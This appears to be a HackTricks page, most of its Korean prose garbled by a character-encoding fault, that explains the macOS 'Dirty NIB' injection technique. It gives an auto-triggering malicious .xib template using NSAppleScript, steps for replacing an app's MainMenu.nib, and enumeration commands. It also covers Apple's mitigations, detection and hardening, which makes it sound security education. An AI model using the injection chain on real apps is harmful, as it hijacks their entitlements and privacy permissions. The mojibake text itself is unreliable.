macOS Dirty NIB
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Dirty NIB๋ ์๋ช ๋ macOS ์ฑ ๋ฒ๋ค ๋ด๋ถ์ Interface Builder ํ์ผ(.xib/.nib)์ ์ ์ฉํด ๋์ ํ๋ก์ธ์ค ๋ด๋ถ์์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ก์ง์ ์คํํ๊ณ , ๊ทธ ๊ฒฐ๊ณผ ํด๋น ํ๋ก์ธ์ค์ entitlements ๋ฐ TCC ๊ถํ์ ์์๋ฐ๋ ๊ธฐ๋ฒ์ ๋งํฉ๋๋ค. ์ด ๊ธฐ๋ฒ์ ์๋ xpn (MDSec)์ด ๋ฌธ์ํํ์ผ๋ฉฐ, ์ดํ Sector7์ด ์ด๋ฅผ ์ผ๋ฐํํ๊ณ ํฌ๊ฒ ํ์ฅํ๋ฉด์ macOS 13 Ventura์ macOS 14 Sonoma์์ Apple์ด ๋์ ํ ์ํ์ฑ ๋ ๋ค๋ค์ต๋๋ค. ๋ฐฐ๊ฒฝ๊ณผ ์ฌ์ธต ๋ถ์์ ๋ฌธ์ ๋์ ์ฐธ์กฐ๋ฅผ ์ฐธ์กฐํ์ธ์.
TL;DR โข Before macOS 13 Ventura: ๋ฒ๋ค์ MainMenu.nib(๋๋ ์์ ์ ๋ก๋๋๋ ๋ค๋ฅธ nib)๋ฅผ ๊ต์ฒดํ๋ฉด process injection์ ์์ ์ ์ผ๋ก ๋ฌ์ฑํ ์ ์์๊ณ , ์ข ์ข privilege escalation์ผ๋ก ์ด์ด์ก์ต๋๋ค. โข Since macOS 13 (Ventura) and improved in macOS 14 (Sonoma): firstโlaunch deep verification, bundle protection, Launch Constraints, ๋ฐ ์๋ก์ด TCC โApp Managementโ ๊ถํ์ผ๋ก ์ธํด ๊ด๋ จ ์๋ ์ฑ์ด ์คํ ํ nib์ ๋ณ์กฐํ๋ ๊ฒ์ด ๋๋ถ๋ถ ์ฐจ๋จ๋ฉ๋๋ค. ๋ค๋ง ๋์ผ ๊ฐ๋ฐ์(tooling)๊ฐ ์์ฒด ์ฑ์ ์์ ํ๋ ๊ฒฝ์ฐ๋ ์ฌ์ฉ์๊ฐ ํฐ๋ฏธ๋์ App Management/Full Disk Access๋ฅผ ๋ถ์ฌํ ๊ฒฝ์ฐ ๋ฑ ์ผ๋ถ ํ์ ์ํฉ์์๋ ๊ณต๊ฒฉ์ด ์ฌ์ ํ ๊ฐ๋ฅํ ์ ์์ต๋๋ค.
What are NIB/XIB files
Nib (short for NeXT Interface Builder) ํ์ผ์ AppKit ์ฑ์์ ์ฌ์ฉํ๋ ์ง๋ ฌํ๋ UI ๊ฐ์ฒด ๊ทธ๋ํ์
๋๋ค. ์ต์ Xcode๋ ํธ์ง ๊ฐ๋ฅํ XML .xib ํ์ผ์ ์ ์ฅํ๋ฉฐ, ๋น๋ ์ ์ด๋ฅผ .nib๋ก ์ปดํ์ผํฉ๋๋ค. ์ผ๋ฐ์ ์ธ ์ฑ์ NSApplicationMain()์ ํตํด ๋ฉ์ธ UI๋ฅผ ๋ก๋ํ๋ฉฐ, ์ด ํจ์๋ ์ฑ์ Info.plist์์ NSMainNibFile ํค๋ฅผ ์ฝ์ด ๋ฐํ์์ ๊ฐ์ฒด ๊ทธ๋ํ๋ฅผ ์ธ์คํด์คํํฉ๋๋ค.
Key points that enable the attack:
- NIB loading์ NSSecureCoding์ ์ค์ํ ๊ฒ์ ์๊ตฌํ์ง ์๊ณ ์์์ ObjectiveโC ํด๋์ค๋ฅผ ์ธ์คํด์คํํ ์ ์์ต๋๋ค (Apple์ nib loader๋
initWithCoder:๊ฐ ์์ ๋init/initWithFrame:์ผ๋ก ํด๋ฐฑํฉ๋๋ค). - Cocoa Bindings๋ nib๊ฐ ์ธ์คํด์คํ๋ ๋ ๋ฉ์๋๋ฅผ ํธ์ถํ๋๋ก ์ ์ฉ๋ ์ ์์ผ๋ฉฐ, ์ฌ์ฉ์ ์ํธ์์ฉ ์์ด๋ ๋์ํ๋ ์ฐ์ ํธ์ถ(chained calls)์ ํฌํจํ ์ ์์ต๋๋ค.
Dirty NIB injection process (attacker view)
๊ณ ์ ์ ์ธ preโVentura ํ๋ฆ:
- Create a malicious .xib
- Add an
NSAppleScriptobject (or other โgadgetโ classes such asNSTask). - Add an
NSTextFieldwhose title contains the payload (e.g., AppleScript or command arguments). - Add one or more
NSMenuItemobjects wired via bindings to call methods on the target object.
- Autoโtrigger without user clicks
- ๋ฐ์ธ๋ฉ์ ์ฌ์ฉํด ๋ฉ๋ด ์์ดํ
์ target/selector๋ฅผ ์ค์ ํ ๋ค์ ๋น๊ณต๊ฐ ๋ฉ์๋
_corePerformAction์ ํธ์ถํ์ฌ nib ๋ก๋ ์ ์ก์ ์ด ์๋์ผ๋ก ์คํ๋๊ฒ ํฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์ฌ์ฉ์๊ฐ ๋ฒํผ์ ํด๋ฆญํ ํ์๊ฐ ์์ด์ง๋๋ค.
Minimal example of an autoโtrigger chain inside a .xib (abridged for clarity):
<objects>
<customObject id="A1" customClass="NSAppleScript"/>
<textField id="A2" title="display dialog \"PWND\""/>
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
<menuItem id="C1">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="initWithSource:"/>
<binding name="Argument" destination="A2" keyPath="title"/>
</connections>
</menuItem>
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
<menuItem id="C2">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="executeAndReturnError:"/>
</connections>
</menuItem>
<!-- Triggers that autoโpress the above menu items at load time -->
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
</objects>
์ด๋ก์จ nib ๋ก๋ ์ ๋์ ํ๋ก์ธ์ค์์ ์์์ AppleScript ์คํ์ด ๊ฐ๋ฅํด์ง๋ค. ๊ณ ๊ธ ์ฒด์ธ์ ๋ค์์ ์ํํ ์ ์๋ค:
- ์์์ AppKit ํด๋์ค(์:
NSTask)๋ฅผ ์ธ์คํด์คํํ๊ณ-launch๊ฐ์ ์ธ์ ์๋ ๋ฉ์๋๋ฅผ ํธ์ถํ๋ค. - ์์ binding trick์ ํตํด ๊ฐ์ฒด ์ธ์๋ฅผ ๊ฐ์ง ์์์ selector๋ฅผ ํธ์ถํ๋ค.
- AppleScriptObjC.framework๋ฅผ ๋ก๋ํด ObjectiveโC๋ก ๋ธ๋ฆฌ์งํ๊ณ ์ ํ๋ C API๋ฅผ ํธ์ถํ ์๋ ์๋ค.
- ์ฌ์ ํ Python.framework๋ฅผ ํฌํจํ๋ ๊ตฌํ ์์คํ
์์๋ Python์ผ๋ก ๋ธ๋ฆฌ์งํ ๋ค์
ctypes๋ก ์์์ C ํจ์๋ฅผ ํธ์ถํ ์ ์๋ค (Sector7โs research).
- ์ฑ์ nib ๊ต์ฒด
- target.app์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น๋ก ๋ณต์ฌํ๊ณ , ์๋ฅผ ๋ค์ด
Contents/Resources/MainMenu.nib์ ์ ์ฑ nib์ผ๋ก ๊ต์ฒดํ ๋ค์ target.app์ ์คํํ๋ค. PreโVentura์์๋ ์ผํ์ฑ Gatekeeper ํ๊ฐ ์ดํ ํ์ ์คํ ์ ์์ ์๋ช ๊ฒ์ฌ๋ง ์ํ๋์ด ๋น์คํ ๋ฆฌ์์ค(์: .nib)๋ ์ฌ๊ฒ์ฆ๋์ง ์์๋ค.
Example AppleScript payload for a visible test:
set theDialogText to "PWND"
display dialog theDialogText
์ต์ macOS ๋ณดํธ ๊ธฐ๋ฅ (Ventura/Monterey/Sonoma/Sequoia)
Apple์ ํ๋ macOS์์ Dirty NIB์ ์คํจ์ฑ์ ํฌ๊ฒ ์ค์ด๋ ์ฌ๋ฌ ์ ๋ฐ์ ์ธ ์ํ์ฑ ์ ๋์ ํ์ต๋๋ค:
- Firstโlaunch deep verification and bundle protection (macOS 13 Ventura)
- ์ฑ์ด ์ฒ์ ์คํ๋ ๋(๊ฒฉ๋ฆฌ(quarantined) ์ฌ๋ถ์ ๊ด๊ณ์์ด), ๋ฒ๋ค์ ๋ชจ๋ ๋ฆฌ์์ค์ ๋ํด ์ฌ์ธต ์๋ช ๊ฒ์ฌ๊ฐ ์ํ๋ฉ๋๋ค. ์ดํ ๋ฒ๋ค์ ๋ณดํธ ์ํ๊ฐ ๋์ด ๋์ผ ๊ฐ๋ฐ์(๋๋ ์ฑ์์ ๋ช ์์ ์ผ๋ก ํ์ฉํ ๊ฒฝ์ฐ)์ ์ฑ๋ง ๋ฒ๋ค ๋ด์ฉ์ ์์ ํ ์ ์์ต๋๋ค. ๋ค๋ฅธ ์ฑ์ด ๋ค๋ฅธ ์ฑ์ ๋ฒ๋ค์ ์ฐ๊ธฐํ๋ ค๋ฉด ์๋ก์ด TCC โApp Managementโ ๊ถํ์ด ํ์ํฉ๋๋ค.
- Launch Constraints (macOS 13 Ventura)
- System/Appleโbundled ์ฑ์ ๋ค๋ฅธ ์์น๋ก ๋ณต์ฌํ์ฌ ์คํํ ์ ์๊ฒ ๋์์ต๋๋ค. ์ด๋ OS ์ฑ์ ๋ํด โcopy to /tmp, patch, runโ ๋ฐฉ์์ ์ ๊ทผ์ ๋ฌด๋ ฅํํฉ๋๋ค.
- Improvements in macOS 14 Sonoma
- Apple์ App Management๋ฅผ ๊ฐํํ๊ณ Sector7์ด ์ง์ ํ ์๋ ค์ง ์ฐํ ๊ธฐ๋ฒ๋ค(์: CVEโ2023โ40450)์ ์์ ํ์ต๋๋ค. ๋ํ Python.framework๋ ์ด์ (macOS 12.3)์์ ์ ๊ฑฐ๋์ด ์ผ๋ถ ๊ถํ ์์น ์ฒด์ธ์ ๊นจ๋จ๋ ธ์ต๋๋ค.
- Gatekeeper/Quarantine changes
- ์ด ๊ธฐ๋ฒ์ ์ํฅ์ ์ค Gatekeeper, provenance ๋ฐ assessment ๋ณ๊ฒฝ ์ฌํญ์ ๋ํ ๋ ๊ด๋ฒ์ํ ๋ ผ์๋ ์๋ ์ฐธ์กฐ ํ์ด์ง๋ฅผ ํ์ธํ์ญ์์ค.
Practical implication โข Ventura ์ด์์์๋ ํ๋ก์ธ์ค๊ฐ App Management ๊ถํ์ ๊ฐ๊ณ ์๊ฑฐ๋ ๋์๊ณผ ๋์ผํ Team ID๋ก ์๋ช ๋์ง ์๋ ํ, ์ผ๋ฐ์ ์ผ๋ก ํ์ฌ ์ฑ์ .nib๋ฅผ ์์ ํ ์ ์์ต๋๋ค(์: ๊ฐ๋ฐ์ ๋๊ตฌ). โข ์/ํฐ๋ฏธ๋์ App Management ๋๋ Full Disk Access๋ฅผ ๋ถ์ฌํ๋ฉด ํด๋น ํฐ๋ฏธ๋์ ์ปจํ ์คํธ ๋ด์์ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ๋ชจ๋ ๊ฒ์ด ์ด ๊ณต๊ฒฉ ํ๋ฉด์ ์ฌ์ค์ ๋ค์ ์ด๊ฒ ๋ฉ๋๋ค.
Launch Constraints ๋์
Launch Constraints๋ Ventura๋ถํฐ ๊ธฐ๋ณธ ์์น๊ฐ ์๋ ๊ณณ์์ ๋ง์ Apple ์ฑ์ ์คํ์ ์ฐจ๋จํฉ๋๋ค. Apple ์ฑ์ ์์ ๋๋ ํ ๋ฆฌ๋ก ๋ณต์ฌํ๊ณ , MainMenu.nib๋ฅผ ์์ ํ ๋ค ์คํํ๋ ๊ฒ๊ณผ ๊ฐ์ preโVentura ์ํฌํ๋ก์ ์์กดํ๋ค๋ฉด, macOS >= 13.0์์๋ ์คํจํ ๊ฒ์ผ๋ก ์์ํ์ธ์.
๋์ ๋ฐ nib ์ด๊ฑฐ (์ฐ๊ตฌ / ๋ ๊ฑฐ์ ์์คํ ์ ์ ์ฉ)
- UI๊ฐ nibโdriven์ธ ์ฑ ์ฐพ๊ธฐ:
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
- ๋ฒ๋ค ๋ด๋ถ์์ ํ๋ณด nib ๋ฆฌ์์ค๋ฅผ ์ฐพ๊ธฐ:
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
- ์ฝ๋ ์๋ช ์ ๊น์ด ๊ฒ์ฆํ์ธ์(๋ฆฌ์์ค๋ฅผ ๋ณ๊ฒฝํ๊ณ ๋ค์ ์๋ช ํ์ง ์์๋ค๋ฉด ์คํจํฉ๋๋ค):
codesign --verify --deep --strict --verbose=4 target.app
์ฐธ๊ณ : ์ต์ macOS์์๋ ์ ์ ํ ๊ถํ ์์ด ๋ค๋ฅธ ์ฑ์ ๋ฒ๋ค์ ์ฐ๊ธฐ๋ฅผ ์๋ํ๋ฉด bundle protection/TCC์ ์ํด ์ฐจ๋จ๋ฉ๋๋ค.
ํ์ง ๋ฐ DFIR ํ
- ๋ฒ๋ค ๋ฆฌ์์ค์ ํ์ผ ๋ฌด๊ฒฐ์ฑ ๋ชจ๋ํฐ๋ง
- ์ค์น๋ ์ฑ์
Contents/Resources/*.nib๋ฐ ๊ธฐํ ๋น์คํ ๋ฆฌ์์ค์ ๋ํ mtime/ctime ๋ณ๊ฒฝ ๊ฐ์ - ํตํฉ ๋ก๊ทธ ๋ฐ ํ๋ก์ธ์ค ๋์
- GUI ์ฑ ๋ด๋ถ์์ ์์์น ๋ชปํ AppleScript ์คํ ๋ฐ AppleScriptObjC ๋๋ Python.framework์ ๋ก๋ํ๋ ํ๋ก์ธ์ค ๊ฐ์. ์:
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
- ์ฌ์ ์ ๊ฒ
- ์ค์ํ ์ฑ์ ๋ํด ์ฃผ๊ธฐ์ ์ผ๋ก
codesign --verify --deep๋ฅผ ์คํํ์ฌ ๋ฆฌ์์ค๊ฐ ์จ์ ํ์ง ํ์ธ - ๊ถํ ์ปจํ ์คํธ
- ๋๊ฐ/๋ฌด์์ด TCC์ โApp Managementโ ๋๋ Full Disk Access ๊ถํ์ ๊ฐ๊ณ ์๋์ง ๊ฐ์ฌ(ํนํ ํฐ๋ฏธ๋๊ณผ ๊ด๋ฆฌ ์์ด์ ํธ). ์ผ๋ฐโ๋ชฉ์ ์ ธ์์ ์ด๋ฌํ ๊ถํ์ ์ ๊ฑฐํ๋ฉด ์ฝ๊ฒ Dirty NIBโ์คํ์ผ ๋ณ์กฐ๋ฅผ ์ฌํ์ฑํํ๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์
๋ฐฉ์ด์ ํ๋๋ (๊ฐ๋ฐ์ ๋ฐ ๋ฐฉ์ด ๋ด๋น์)
- ๊ฐ๋ฅํ๋ฉด ํ๋ก๊ทธ๋๋ฐ ๋ฐฉ์ UI๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ nib์์ ์ธ์คํด์คํ๋๋ ๊ฒ์ ์ ํํ์ธ์. nib ๊ทธ๋ํ์ ๊ฐ๋ ฅํ ํด๋์ค(์:
NSTask)๋ฅผ ํฌํจํ์ง ๋ง๊ณ ์์ ๊ฐ์ฒด์ ๋ํด ์ ๋ ํฐ๋ฅผ ๊ฐ์ ํธ์ถํ๋ ๋ฐ์ธ๋ฉ์ ํผํ์ธ์. - Library Validation์ด ์ ์ฉ๋ hardened runtime ์ฑํ(ํ๋ ์ฑ์์๋ ์ด๋ฏธ ํ์ค). ์ด๊ฒ๋ง์ผ๋ก nib injection์ ๋ง์ ์๋ ์์ง๋ง, ๋ค์ดํฐ๋ธ ์ฝ๋์ ์ฌ์ด ๋ก๋๋ฅผ ์ฐจ๋จํด ๊ณต๊ฒฉ์๋ฅผ ์คํฌ๋ฆฝํธ ์ ์ฉ ํ์ด๋ก๋๋ก ๋ฐ์ด๋ฃ์ต๋๋ค.
- ์ผ๋ฐ ๋ชฉ์ ๋๊ตฌ์์ ๊ด๋ฒ์ํ App Management ๊ถํ์ ์์ฒญํ๊ฑฐ๋ ์์กดํ์ง ๋ง์ธ์. MDM์ด App Management๋ฅผ ์๊ตฌํ๋ ๊ฒฝ์ฐ, ํด๋น ์ปจํ ์คํธ๋ฅผ ์ฌ์ฉ์ ์ฃผ๋์ ์๊ณผ ๋ถ๋ฆฌํ์ธ์.
- ์ฑ ๋ฒ๋ค์ ๋ฌด๊ฒฐ์ฑ์ ์ ๊ธฐ์ ์ผ๋ก ๊ฒ์ฆํ๊ณ ์ ๋ฐ์ดํธ ๋ฉ์ปค๋์ฆ์ด ๋ฒ๋ค ๋ฆฌ์์ค๋ฅผ ์๋ ๋ณต๊ตฌ(selfโheal)ํ๋๋ก ๋ง๋์ธ์.
Related reading in HackTricks
Learn more about Gatekeeper, quarantine and provenance changes that affect this technique:
macOS Gatekeeper / Quarantine / XProtect
์ฐธ๊ณ ์๋ฃ
- xpn โ DirtyNIB (์๋ณธ ์ค๋ช , Pages ์์): https://blog.xpnsec.com/dirtynib/
- Sector7 โ Bringing process injection into view(s): nib ํ์ผ์ ์ฌ์ฉํ์ฌ ๋ชจ๋ macOS ์ฑ์ ์ ์ฉํ๊ธฐ (April 5, 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


